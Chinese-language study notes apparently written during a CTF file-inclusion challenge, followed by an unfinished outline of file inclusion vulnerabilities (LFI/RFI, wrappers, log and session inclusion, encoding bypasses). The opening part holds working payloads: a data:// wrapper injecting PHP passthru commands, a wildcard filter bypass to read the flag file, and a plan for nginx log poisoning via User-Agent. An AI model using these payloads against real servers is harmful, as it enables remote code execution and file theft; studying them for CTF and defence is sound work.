先尝试伪协议,看目录下有什么
?file=data://text/plain,<?=passthru('ls')?>
<?=passthru('ls')?>恶意利用PHP执行操作系统命令
<?=。。。?>这个命令执行结果会被立即输出
tac flag.php
php被过滤,换成???
?file=data://text/plain,<?=passthru('ls')?>
通配符*直接替换
tac fla*
在这里注意,因为是执行的命令,可以直接*替换,如果是路径内,文件名就不可以
显然,php和data被过滤
尝试日志文件包含
(U-A)user agent可以保存在日志里,给nginx服务器发送,日志路径/var/log/nginx/access.log


日志文件


待完善ing
- 文件包含
-
- 分类
-
-
- LFI本地包含
- RFI远程包含
-
-
- 语言代码段
-
-
- <!--#include file="1.asp"-->
- <!--#include file="top.aspx"-->
- <c:import url="http://thief.one/1.jsp">
- <jsp:include page="head.jsp"/>
- <%@ include file="head.jsp"%>
- <?php include('test.php')?>
-
-
- 常见语言支持协议
- 利用
-
-
- 日志文件 或 者session文件
-
-
-
-
- 日志默认路径
- session存储路径及命名路径
-
-
-
-
- 借助伪协议
-
-
-
-
- 协议文件读取
- 协议文件写入
- 协议代码执行
- 绕过手法
-
-
-
-
-
-
- base64
- convert.iconv
- rot13
-
-
-
-
-
- 可以上传文件
-
-
-
-
- 上传任意后缀文件
- 文件内容带有代码即可
- 包含上传后的路径即可执行代码
-
-
-
- 定义
-
-
- 实际上是,引用文件,目标是代码共享;注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。(跟多轮嵌套有点像
- 网站功能需求,会让前端用户选择包含文件,而开发人员对包含文件没有进行安全考虑,导致攻击者可以修改文件位置来让后台执行任意文件,从而导致文件包含漏洞
-
伪协议,并非真正意义上的网络协议,但采用了类似协议格式的标识符或字符串,一套指令
JavaScript
<a href="javascript:alert('hello');">点击</a>
或者